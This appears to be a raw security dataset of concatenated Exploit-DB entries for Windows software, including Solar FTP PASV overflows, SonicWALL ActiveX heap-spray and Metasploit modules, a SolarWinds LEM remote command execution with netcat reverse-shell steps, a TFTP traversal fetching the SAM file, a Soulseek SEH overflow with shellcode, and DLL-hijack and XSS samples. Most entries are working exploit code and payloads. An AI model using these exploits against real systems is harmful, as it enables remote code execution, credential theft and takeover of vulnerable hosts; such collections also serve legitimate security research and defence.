deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35188
Description: Solar FTP Server 2.1.1 - 'PASV' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-01-10
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/45748/info

SolarFTP is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

SolarFTP 2.1 is vulnerable; other versions may also be affected. 

# ------------------------------------------------------------------------
# Software................Solar FTP Server 2.1
# Vulnerability...........Buffer Overflow
# Download................http://www.solarftp.com/
# Release Date............1/10/2011
# Tested On...............Windows XP SP3 EN
# ------------------------------------------------------------------------
# Author..................John Leitch
# Site....................http://www.johnleitch.net/
# Email...................john.leitch5@gmail.com
# ------------------------------------------------------------------------
# 
# --Description--
# 
# A buffer overflow in Solar FTP Server 2.1 can be exploited to execute
# arbitrary code.
# 
# 
# --PoC--

import socket

host = 'localhost'

port = 21

jmp_eax = '\xBF\x66\x02\x10'

junk = '\xCC\xCC\xCC\xCC'

nop_sled = '\x90\x90\x90' + '\x90\x90\x90\x90' * 2

# Calc shellcode by yours truly. Check the task manager
# as the calc instance will not be visible.
shell_code = "\x31\xC9"\
             "\x51"\
             "\x68\x63\x61\x6C\x63"\
             "\x54"\
             "\xB8\xC7\x93\xC2\x77"\
             "\xFF\xD0"

junk2 = 'A' * 7004


bad_stuff = junk + nop_sled + shell_code + jmp_eax * 249 + junk2
    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)

print 'connecting'

s.connect((host, port))

print s.recv(8192)

s.send('USER anonymous\r\n')
print s.recv(8192)

s.send('PASS x@x.com\r\n')
print s.recv(8192)

s.send('PASV ' + bad_stuff + '\r\n')
print s.recv(8192)
s.close()
Exploit-DB #17692
Description: Solar FTP Server 2.1.2 - PASV Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-08-19
Author: Qnix

Exploit:
# Exploit Title: Solarftp v2.1.2 PASV buffer overflow
# Date: Aug 17, 2011
# Author: qnix
# Software Link: http://solarftp.com/files/solarftps-setup.exe
# Version: 2.1.2
# Tested on: Windows XP Universal
# Detailed info: http://0x80.org/blog/?p=545

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking
	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Egghunter
	
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Solarftp 2.1.2 PASV Command Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2
				You must have valid credentials to trigger this vulnerability. Also, you
				ony get one chance.
			},
			'Author'         => 'qnix',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://0x80.org/blog/?p=545'],
				],
			'DefaultOptions' =>
				{
					'WfsDelay' => 45,
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment'       => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
													   #1001BD23   . FFE0   JMP EAX  @sfsweb.dll
					[ 'Windows XP Universal',       { 'Ret' => 0x1001BD23, 'Offset' => 195} ],
				],
			'DisclosureDate' => 'Aug 17 2011',
			'DefaultTarget'  => 0))
	end


	def exploit
		connect_login
		print_status("Trying target #{target.name}")

		print_status("Creating Egg Hunter")
		eggoptions =
		{
		:checksum => true,
		:eggtag   => "W00T"
		}
		hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
		
		fix = "\x11" 		# To fix some left overs from uncontrolled buffer
							# to avoid access violation.
		pk1 = make_nops(75)
		pk1 << fix
		pk1 << make_nops(20)
		pk1 << hunter
		pk1 << make_nops((100-fix.length-hunter.length))
		pk1 << [target.ret].pack('V')
		pk1 << egg
		pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)
		print_status("Sending first packet...")
		send_cmd( ["PASV",pk1], false)
		
		pk2 = make_nops(3000)
		print_status("Sending second packet...")
		send_cmd( ["PASV",pk2], false)
		
		handler
		disconnect
	end

end
Exploit-DB #38644
Description: SolarWinds Log and Event Manager/Trigeo SIM 6.1.0 - Remote Command Execution
Type: remote
Platform: windows
Date: 2015-11-06
Author: Chris Graham

Exploit:
Requirements:

Python 2.7
netcat

Tested on: 
Ubuntu 14.04 LTS

Vulnerable Appliance Version: 6.1.0
Download: http://downloads.solarwinds.com/solarwinds/Release/LEM/SolarWinds-LEM-v6.1.0-Evaluation-VMware.exe

Instructions:

The exploit_lem.py script will need to be run sudo since it uses sockets
which bind to port 21 and 80. These could be changed, but the rest of 
the script would need to be modified as well. 

Prior to running the python script, set up a netcat listener for the
reverse shell: netcat -l 4444

Example: sudo python exploit_lem.py -t 192.168.1.100 -b 192.168.1.101 -l 192.168.1.101 -lp 4444

After access has been gained to the appliance, a new admin user can be added to the web console
by editing /usr/local/contego/run/manager/UserContextLibrary.xml. Simply copy the xml structure 
for the admin user that is already in there and then change the fields to create a new user. In
order to get a valid password hash, use the gen_pass_hash.py script included with this package. 
Please note that a manager restart will be needed before you can login with the new user. This 
can be accomplished by running "/etc/init.d/contego-manager restart"

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38644.zip
Exploit-DB #21964
Description: SolarWinds TFTP Server Standard Edition 5.0.55 - Directory Traversal
Type: remote
Platform: windows
Date: 2002-10-25
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/6045/info

SolarWinds TFTP Server is distributed for the Microsoft Windows platform.

The SolarWinds TFTP Server does not properly handle user-supplied input. Due to insufficient handling of user input, it is possible for a remote user to request arbitrary files from the vulnerable server. It would be possible for a remote user to download any files readable through the permissions of the TFTP Server user.

tftp example.com GET a\..\..\winnt\repair\sam
Exploit-DB #31831
Description: SolidWorks Workgroup PDM 2014 SP2 - Arbitrary File Write
Type: remote
Platform: windows
Date: 2014-02-22
Author: Mohamed Shetta

Exploit:
'''
# Title: SolidWorks Workgroup PDM 2014 SP2 Arbitrary File Write Vulnerability
# Date: 2-21-2014
# Author: Mohamed Shetta
Email: mshetta |at| live |dot| com
# Vendor Homepage: http://www.solidworks.com/sw/products/product-data-management/workgroup-pdm.htm
# Tested on: Windows 7
#Vulnerability type: Arbitrary File Write
#Vulnerable file: pdmwService.exe
#PORT: 30000


---------------------------------------------------------------------------------------------------------
Software Description:

SolidWorks
Workgroup PDM is a PDM tool that allows SolidWorks users operating in 
teams of 10 members or less to work on designs concurrently. With 
SolidWorks PDM Workgroup, designers can search, revise, and vault CAD 
data while maintaining an accurate design history.


---------------------------------------------------------------------------------------------------------
Vulnerability Details:

This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of SolidWorks Workgroup PDM.

------------------------------------------------------------------------------------------------------------
Disclosure timeline:

12/15/2013 - Vendor notified and no response.
2/21/2014 - Public disclosure
'''

#!/usr/bin/env python
  
import socket
import struct
import ctypes

FileName="\x2E\x00\x2E\x00\x5C\x00\x2E\x00\x2E\x00\x5C\x00\x74\x00\x65\x00\x73\x00\x74\x00" #..\..\test
Data="A"*1028
FileSize=len(Data)
FNsz=len(FileName)
OpCode="\xD0\x07\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.4", 30000))
s.send(OpCode)
s.send(struct.pack("I", FNsz))
s.send(FileName)
s.send(struct.pack('<Q', FileSize))
s.send(Data)
Exploit-DB #30730
Description: SonicWALL SSL VPN 1.3 3 WebCacheCleaner - ActiveX FileDelete Method Traversal Arbitrary File Deletion
Type: remote
Platform: windows
Date: 2007-11-01
Author: Will Dormann

Exploit:
source: https://www.securityfocus.com/bid/26288/info


SonicWALL SSL VPN Client is prone to multiple remote vulnerabilities. The issues occur in different ActiveX controls and include arbitrary-file-deletion and multiple stack-based buffer-overflow vulnerabilities.

Attackers can exploit these issues to execute arbitrary code within the context of the affected application and delete arbitrary files on the client's computer. Failed exploit attempts will result in denial-of-service conditions.

These issues affect SonicWALL SSL VPN 1.3.0.3 software as well as WebCacheCleaner 1.3.0.3 and NeLaunchCtrl 2.1.0.49 ActiveX controls; other versions may also be vulnerable. 

dim o
Set o = CreateObject("MLWebCacheCleaner.WebCacheCleaner.1")
o.FileDelete("c:\bla\bla")
Exploit-DB #4594
Description: SonicWALL SSL-VPN - 'NeLaunchCtrl' ActiveX Control Remote Command Execution
Type: remote
Platform: windows
Date: 2007-11-01
Author: krafty

Exploit:
<!--

SonicWall SSL-VPN NeLaunchCtrl ActiveX Control exploit.

by krafty

greets to SK, muts, halvar, grugq, and all the ethnical hackers

sux to exploit traders - ZDI, WabiSabiLabi, and all you h0arders.

Bring back the days of technotronic and r00tshell! Freedom.

poc: launches calculator.
Tested with IE6 XP SP2. I'm sure it works with IE7 and Vista and all
that jing-bang.

-->


<object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='nelx' /></object>

<script>

var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u2065%u0000");

var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
do {
   spray += spray;
} while(spray.length < 0xc0000);

memory = new Array();

for(i = 0; i < 50; i++)
   memory[i] = spray + shellcode;

buf = "";
for(i = 0; i < 50; i++)
   buf += unescape("%05%05%05%05");

nelx.AddRouteEntry("", buf);

</script>

# milw0rm.com [2007-11-01]
Exploit-DB #16616
Description: SonicWALL SSL-VPN - NetExtender ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: sonicwall_addrouteentry.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender.
				By sending an overly long string to the "AddRouteEntry()" method located
				in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute
				arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-5603'],
					[ 'OSVDB', '39069'],
					[ 'URL', 'http://www.sec-consult.com/303.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'IE 6 / Windows XP SP2 Pro English',     { 'Ret' => 0x7e497c7b } ], # 11/01/07
				],
			'DisclosureDate' => 'Nov 1 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_english(36) + [target.ret].pack('V')
		sploit << p.encoded + rand_text_english(1024 - p.encoded.length)

		# Build out the message
		content = %Q|<html>
			<object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='#{vname}'></object>
			<script language='javascript'>
			var #{vname} = document.getElementById('#{vname}');
			var #{strname} = new String('#{sploit}');
			#{vname}.AddRouteEntry(#{strname}, #{vname});
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #8143
Description: Sopcast SopCore Control - 'sopocx.ocx' Command Execution
Type: remote
Platform: windows
Date: 2009-03-03
Author: Nine:Situations:Group

Exploit:
<!-- Sopcast SopCore Control (sopocx.ocx 3.0.3.501) SetExternalPlayer()
     user assisted remote code execution poc
     by Nine:Situations:Group::surfista (IE7/8)

our site: http://retrogod.altervista.org/
software site: http://www.sopcast.org/

Through the SetExternalPlayer() method and the ExternalPlayer property
is possible to associate an arbitrary executable to the "external player"
button (for clearness see http://www.sopcast.com/docs/ where the player
control buttons are showed) which opens Windows Media Player by default.
When the user click this button, the executable is launched without prompts
Also this value is stored in config.xml, inside the sopcast local folder
for further use, ex. with the sopcast client application
Note: this control is safe for scripting and safe for initialization
-->
<HTML>
<HEAD>
<script language="Javascript" type="text/JavaScript">
window.onload=function()
{
SopPlayer.InitPlayer();
//SopPlayer.SetExternalPlayer("\\\\192.168.0.1\\c$\\PATH\\TO\\MALICIOUS_PROGRAM.EXE");
SopPlayer.SetExternalPlayer("c:\\WINDOWS\\system32\\calc.exe");
SopPlayer.SetSopAddress("sop://broker.sopcast.com:3912/6002"); //A LIVE CHANNEL ...
SopPlayer.SetChannelName("CCTV5");
SopPlayer.Play();
}
</script>
</HEAD>
<BODY>
<OBJECT
        ID="SopPlayer"
        name="SopPlayer"
        CLASSID=clsid:8FEFF364-6A5F-4966-A917-A3AC28411659
        HEIGHT=375
        WIDTH=375>
</OBJECT>
</BODY>
</HTML>

# milw0rm.com [2009-03-03]
Exploit-DB #24623
Description: Sophos Anti-Virus 3.x - Reserved MS-DOS Name Scan Evasion
Type: remote
Platform: windows
Date: 2004-09-22
Author: Kurt Seifried

Exploit:
source: https://www.securityfocus.com/bid/11236/info

Sophos Anti-Virus is affected by a reserved MS-DOS name virus scan evasion vulnerability. This issue is due to a design error that allows certain files to avoid being scanned.

An attacker may leverage this issue to bypass the scanner protection provided by the vulnerable anti-virus scanner, giving users a false sense of security. It is reported that this issue can be leveraged to bypass both file system and email virus scanners, allowing this issue to be exploited remotely.

copy source \\.\C:\aux
Exploit-DB #31204
Description: Sophos Email Appliance 2.1 - Web Interface Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2008-02-15
Author: Leon Juranic

Exploit:
source: https://www.securityfocus.com/bid/27813/info

Sophos Email Appliance is prone to multiple cross-site scripting vulnerabilities that affect its web interface because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Please note that potential exploits will likely target privileged users.

These issues affect versions prior to Sophos Email Appliance 2.1.1.0. 

https://www.example.com:18080/Login?logout=0&error=<INJECTION>&go=<INJECTION>
Exploit-DB #34697
Description: Sothink SWF Decompiler - 'dwmapi.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-09-22
Author: anT!-Tr0J4n

Exploit:
/*
source: https://www.securityfocus.com/bid/43417/info

Sothink SWF Decompiler is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 
*/

/*
#Sothink SWF Decompiler DLL Hijacking Exploit (dwmapi.dll)
#Author : anT!-Tr0J4n
#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~,All Dev-poinT members and my friends
#Email   : D3v-PoinT@hotmail.com & C1EH@Hotmail.com
# Software Link:http://www.sothink.com/
#Tested on: Windows XP sp3
#how to use :
   Complile and rename to dwmapi.dll. Place it in the same dir  Execute to check the
  result > Hack3d 



 
#dwmapi.dll (code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}
Exploit-DB #8804
Description: Soulseek 157 NS - Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-05-26
Author: His0k4

Exploit:
#!/usr/bin/python
#[x] Bug :Soulseek 157 NS Remote Seh Overwrite Exploit
#[x] Credits & poc from : http://www.milw0rm.com/exploits/8777
#[x] Tested on : Windows Xp (sp3), Soulseek 157 NS 12d
#[x] The exploit attacks the user :"test4321"

import struct
import sys, socket
from time import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("208.76.170.50",2242))  # Change to Port 2240 for 156* branch

request = "\x48\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00"
request += "testt4321" # username
request += "\x08\x00\x00\x00"
request += "12345678" # password
request += "\xb5\x00\x00\x00\x20\x00\x00\x00"
request += "\x38\x65\x39\x31\x66\x37\x33\x30\x35\x35\x37\x31\x32\x35\x64\x37"
request += "\x34\x39\x32\x34\x62\x64\x66\x35\x63\x32\x39\x61\x36\x37\x64\x61"
request += "\x01\x00\x00\x00"

s.send(request)
sleep(1)

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x54\x4a\x51\x4b\x38"
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x48"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x41\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x38"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x31\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x50\x4b\x48\x4a\x36\x4e\x43\x4f\x55\x41\x53"
"\x48\x4f\x42\x56\x48\x55\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x37"
"\x42\x45\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x46\x43\x56\x42\x50\x5a")

payload  = "\x41" * (3084-len(shellcode))
payload += shellcode
payload += "\xE9\xA4\xFE\xFF\xFF"
payload += "\90"*22
payload += "\xEB\xE3\x41\x42"
payload += "\x34\x14\x40\x00" # p/p/r->SoulSeek.exe
payload += "\x44" * 1423


request2 = "\x01\x0f\x00\x00\x2a\x00\x00\x00\x09\x00\x00\x00"
request2 += "testt4321"
request2 += "\xa4\x5a\x51\x44\xe8\x0e\x00\x00"
request2 += payload

s.send(request2)
sleep(1)
s.recv(1024)

# milw0rm.com [2009-05-26]
Exploit-DB #26032
Description: SPI Dynamics WebInspect 5.0.196 - Cross Application Script Injection
Type: remote
Platform: windows
Date: 2005-07-26
Author: QQLan@yandex.ru

Exploit:
source: https://www.securityfocus.com/bid/14385/info

WebInspect is vulnerable to a cross-application script injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied data prior to including it in content rendered in an Internet Explorer COM object.

This vulnerability allows attackers to execute arbitrary script code in the context of the vulnerable application. By exploiting the knowledge of predictable files on the targeted system, attackers may also cause arbitrary script code to be executed in the "Local Machine" zone, facilitating remote machine code installation and execution. 

<HTML><HEAD><BODY>
<%
if request.querystring<>"" then
response.write request.querystring
end if
%>
<form action="script>/<script>window.open(%27file://C:\\Program
Files\\SPIDynamics\\WebInspect\\Working\\vulnerability.htm%27)</script>" method=get> Please login:<br>
<input type=submit value="Login"><br> <input type=hidden name='hidden' value="Login"><br> </form>
</BODY></HTML>